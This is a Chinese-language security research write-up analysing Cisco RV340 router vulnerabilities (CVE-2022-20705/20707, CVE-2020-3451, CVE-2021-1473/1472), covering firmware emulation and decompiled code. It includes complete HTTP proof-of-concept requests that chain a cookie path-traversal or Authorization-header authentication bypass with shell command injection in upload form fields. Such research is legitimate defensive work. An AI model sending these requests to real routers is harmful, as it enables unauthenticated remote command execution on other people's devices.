Cisco RV340命令执行漏洞（CVE-2022-20707）及关联历史漏洞分析

2022年5月15日01:26:01评论209 views字数 8799阅读29分19秒阅读模式

引言

本篇文章主要是对Cisco RV340命令执行漏洞(CVE-2022-20707)进行的研究分析，尽管利用此漏洞需要身份验证，但可以通过CVE-2022-20705绕过现有的身份验证机制实现无条件的命令执行。历史相关的漏洞还包括：CVE-2020-3451、CVE-2021-1473、CVE-2021-1472，我们会逐一进行分析。

环境搭建

2.1 固件下载

可在Cisco官网下载到固件：

https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.26?catid=268437899

2.2 固件解压

推荐使用7z-zip软件提取openwrt-comcerto2000-hgw-rootfs-ubi_nand.img

RV34X-v1.0.03.22-2021-06-14-02-33-28-AM.imgRV34X-v1.0.03.22-2021-06-14-02-33-28-AMfw.gzfwopenwrt-comcerto2000-hgw-rootfs-ubi_nand.img

Cisco RV340命令执行漏洞（CVE-2022-20707）及关联历史漏洞分析

将得到的ubi格式img用binwalk进行解压，但这里有点小坑，binwalk会把软链接给重置为/dev/null。

笔者这里是通过修改binwalk代码的方式强行绕过了此逻辑：

binwalk/modules/extractor.py

2.3 qemu系统模拟

修改Ubuntu 主机的网络配置，修改系统的网络接口配置文件/etc/network/interfaces。

编辑/etc/qemu-ifup

具体网络配置可以参考：
https://blog.csdn.net/QQ1084283172/article/details/69378333
重启一下虚拟机，因为我Ubuntu 主机的网卡是nat的，桥接就是桥接到nat网络里边去。

下载对应的debian qemu镜像

https://people.debian.org/~aurel32/qemu/armhf/

启动qemu虚拟机：

sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=tty0" -net nic -net tap -nographic

将解出来的固件传到qemu虚拟机：

scp -r 1.tar   root@192.168.250.173:/root/

解压并切入chroot环境：

tar zxvf 1.tarchmod -R 777 rootfscd rootfssudo mount --bind /proc procsudo mount --bind /dev devchroot . /bin/sh

逐步启动ngix服务：

/etc/init.d/boot bootgenerate_default_cert/etc/init.d/confd start/etc/init.d/nginx start

尝试访问web页面：

至此，模拟环境搭建完成，可以开始进行漏洞测试。

2.4 调试技巧

因为cgi是以uwsgi子进程的形式启动来处理请求，一次请求一个进程，使用gdbserver并不好attach。故直接修改upload.cgi二进制文件，在main函数入口位置修改汇编为自己跳自己，弄个死循环：

这样进程就会一直卡住，等到gdbserver attach上，再通过修改内存方式，修改代码为原程序逻辑：

CVE-2022-20705

此漏洞是因nginx配置不当导致的授权绕过漏洞，是命令执行漏洞(CVE-2022-20707)利用的前置条件。

命令执行漏洞需要用户能访问upload页面，这本是一个需要鉴权的页面。查看nginx配置文件以及配置引用关系，定位到/upload路径的访问是由

/var/nginx/conf.d/web.upload.conf控制

location / form - file - upload {    include uwsgi_params;    proxy_buffering off;    uwsgi_modifier1 9;    uwsgi_pass 127.0.0.1 : 9003;    uwsgi_read_timeout 3600;    uwsgi_send_timeout 3600;}location / upload {set $deny 1;    if ( - f / tmp / websession / token / $cookie_sessionid) {        set $deny "0";    }    if ($deny = "1") {        return 403;    }    upload_pass / form - file - upload;    upload_store / tmp / upload;    upload_store_access user: rw group: rw all: rw;    upload_set_form_field $upload_field_name.name "$upload_file_name";    upload_set_form_field $upload_field_name.content_type "$upload_content_type";    upload_set_form_field $upload_field_name.path "$upload_tmp_path";    upload_aggregate_form_field "$upload_field_name.md5""$upload_file_md5";    upload_aggregate_form_field "$upload_field_name.size""$upload_file_size";    upload_pass_form_field "^.*$";    upload_cleanup 400 404 499 500 - 505;    upload_resumable on;

可以看到，nginx会通过判断/tmp/websession/token/$cookie_sessionid文件是否存在来进行访问控制。$cookie_sessionid可以通过我们传递的cookie来控制，我们可以将$cookie_sessionid的值设置为一个必定存在的文件，如../../../../../etc/passwd，即可绕过该判断机制。

但是除了nginx的配置外，upload.cgi程序内部还有对传入cookie的格式校验，直接传入../../../../../etc/passwd显然是过不了代码侧的格式校验的：

else if ( !strcmp(v5, "/upload")         && HTTP_COOKIE         && strlen(HTTP_COOKIE) - 16 <= 0x40         && !match_regex("^[A-Za-z0-9+=/]*$", HTTP_COOKIE) )  {    v24 = v34;    v25 = v35;    v26 = (int)v32;    v27 = StrBufToStr(v41);    sub_12684(HTTP_COOKIE, v24, v25, v26, v27, v36, v37, v38);  }

那么有没有什么办法既能绕过nginx的鉴权，同时又能满足代码侧的格式校验呢？

问题的关键就在于程序后端获取cookie的逻辑。这里代码通过for循环获取cookie的值，遇到分号就隔断了：

 if ( HTTP_COOKIE )  {    StrBufSetStr(v40, HTTP_COOKIE);    HTTP_COOKIE = 0;    v13 = (char *)StrBufToStr(v40);    for ( i = strtok_r(v13, ";", &save_ptr); i; i = strtok_r(0, ";", &save_ptr) )    {      sessionid = strstr(i, "sessionid=");      if ( sessionid )        HTTP_COOKIE = sessionid + 'n';    }  }     }

换言之我们可以在cookie里传入两个sessionid，前一个用来绕过nginx的鉴权机制，后一个用来匹配upload.cgi的校验正则，代码会取最后一个sessionid作为传入的参数值：

Cookie: sessionid=../../../etc/passwd;sessionid=Y2lzY28vMTI3LjAuMC4xLzEx;

如此便可成功绕过身份验证，进入upload.cgi的程序逻辑。

CVE-2022-20707

在通过CVE-2022-20705绕过登录限制后，upload.cgi本身还存在一处命令执行漏洞。

这里存在一个非常明显的命令拼接，upload.cgi会将请求提交过来的参数处理成json后被拼接到命令里，那么我们在参数中使用';{CMD};'即可成功执行命令。

upload.cgi 可以接收的参数包括:

jsonutil_get_string(dword_2324C, &v31, ""file.path"", -1);jsonutil_get_string(dword_2324C, &haystack, ""filename"", -1);jsonutil_get_string(dword_2324C, &v32, ""pathparam"", -1);jsonutil_get_string(dword_2324C, &v33, ""fileparam"", -1);jsonutil_get_string(dword_2324C, &v34, ""destination"", -1);jsonutil_get_string(dword_2324C, &v35, ""option"", -1);jsonutil_get_string(dword_2324C, &v36, ""cert_name"", -1);jsonutil_get_string(dword_2324C, &v37, ""cert_type"", -1);jsonutil_get_string(dword_2324C, &v38, ""password"", -1);

该cgi使用nginx文件上传模块获取参数，有些参数是由该模块生成。我们尽量选一些不影响程序正常逻辑的参数进行拼接，比如destination和option

在拼接后的命令执行字符串如下：

可以看到命令已经执行：

结合CVE-2022-20705的权限绕过，最终poc为：

POST /upload HTTP/1.1Host: 192.168.250.173Content-Length: 729Accept: application/json, text/plain, */*optional-header: header-valueUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz6gIo5kcTkAlkCwXOrigin: http://192.168.250.173Referer: http://192.168.250.173/index.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Cookie: sessionid=../../../etc/passwd;sessionid=Y2lzY28vMTI3LjAuMC4xLzEx;Connection: close
------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="sessionid"
EU6DJKEIWO------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="pathparam"
Firmware------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="fileparam"
file001------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="destination"
x';ls>/tmp/download/1.xml;'------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="option"
x------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="file"; filename="1.img"Content-Type: application/octet-stream
1111------WebKitFormBoundaryz6gIo5kcTkAlkCwX--

CVE-2020-3451

1.0.03.18及之前版本中的nginx配置并没有对访问upload校验是否授权。选用1.0.00.33进行分析，该版本cgi内部也没有对该路径是否授权校验，对/upload请求的处理由jsonrpc.cgi 处理：

cp 命令拼接时 v23由fileparam传入

当在fileparam参数传入恶意拼接命令时，即可执行

POC:

POST /upload HTTP/1.1Connection: closeAccept-Encoding: gzip, deflateAccept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Host: 186.86.126.88:443Content-Type: multipart/form-data; boundary=---------------------------42194771962641085195329489787Content-Length: 614
-----------------------------42194771962641085195329489787Content-Disposition: form-data; name="sessionid"
FOOT-----------------------------42194771962641085195329489787Content-Disposition: form-data; name="fileparam"
file001;ls>/www/download/3.xml;
-----------------------------42194771962641085195329489787Content-Disposition: form-data; name="pathparam"
Firmware-----------------------------42194771962641085195329489787Content-Disposition: form-data; name="file"; filename="1233.img"Content-Type: application/octet-stream
111111111111111-----------------------------42194771962641085195329489787--

CVE-2021-1473 & CVE-2021-1472

1.0.03.20版本的web.upload.conf为

location /form-file-upload {  include uwsgi_params;  proxy_buffering off;  uwsgi_modifier1 9;  uwsgi_pass 127.0.0.1:9003;  uwsgi_read_timeout 3600;  uwsgi_send_timeout 3600;}
location /upload {  set $deny 1;
        if ($http_authorization != "") {                set $deny "0";        }
        if (-f /tmp/websession/token/$cookie_sessionid) {                set $deny "0";        }
        if ($deny = "1") {                return 403;        }
  upload_pass /form-file-upload;  upload_store /tmp/upload;  upload_store_access user:rw group:rw all:rw;  upload_set_form_field $upload_field_name.name "$upload_file_name";  upload_set_form_field $upload_field_name.content_type "$upload_content_type";  upload_set_form_field $upload_field_name.path "$upload_tmp_path";  upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";  upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";  upload_pass_form_field "^.*$";  upload_cleanup 400 404 499 500-505;  upload_resumable on;}

只要在头部增加 Authorization 即可令$http_authorization不为空，从而绕过身份校验。

该版本的upload.cgi在进行curl命令拼接时，a1由cookie中的sessionid传入。

最终poc为：

POST /upload HTTP/1.1Connection: closeAccept-Encoding: gzip, deflateAccept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Host: 186.86.126.88:443Cookie: sessionid='&ls>/tmp/download/2.xml&'; Authorization: YWRtaW46YWRtaW4=Content-Length: 570Content-Type: multipart/form-data; boundary=5097417339e2369be225700925a71758
--5097417339e2369be225700925a71758Content-Disposition: form-data; name="sessionid"
foobar--5097417339e2369be225700925a71758Content-Disposition: form-data; name="destination"
x--5097417339e2369be225700925a71758Content-Disposition: form-data; name="fileparam"
Configuration--5097417339e2369be225700925a71758Content-Disposition: form-data; name="pathparam"
Configuration--5097417339e2369be225700925a71758Content-Disposition: form-data; name="file"; filename="1233.xml"Content-Type: text/xml
1233333--5097417339e2369be225700925a71758--

总结

下表为upload.cgi系列漏洞的总结：

‍

原文始发于微信公众号（Beacon Tower Lab）：Cisco RV340命令执行漏洞（CVE-2022-20707）及关联历史漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

左青龙
微信扫一扫

右白虎
微信扫一扫

Cisco RV340命令执行漏洞（CVE-2022-20707）及关联历史漏洞分析

Argo Events权限管理不当漏洞

Oracle E-Business Suite远程代码执行漏洞(CVE-2025-30727)

Apache Roller 漏洞让攻击者获得未经授权的访问

Oracle E-Business Suite远程代码执行漏洞（CVE-2025-30727）

Apache Roller 未经授权的访问漏洞

Gladinet漏洞CVE-2025-30406遭在野利用

安美酒店管理系统/get_user_enrollment.php接口 sql注入漏洞

Microsoft Edge信息泄露漏洞(CVE-2025-29834)

【已复现】Gladinet CentreStack & Triofox 远程RCE漏洞（CVE-2025-30406）

【成功复现】Palo Alto Networks PAN-OS 身份验证绕过漏洞(CVE-2025-0108)

发表评论

在线咨询

微信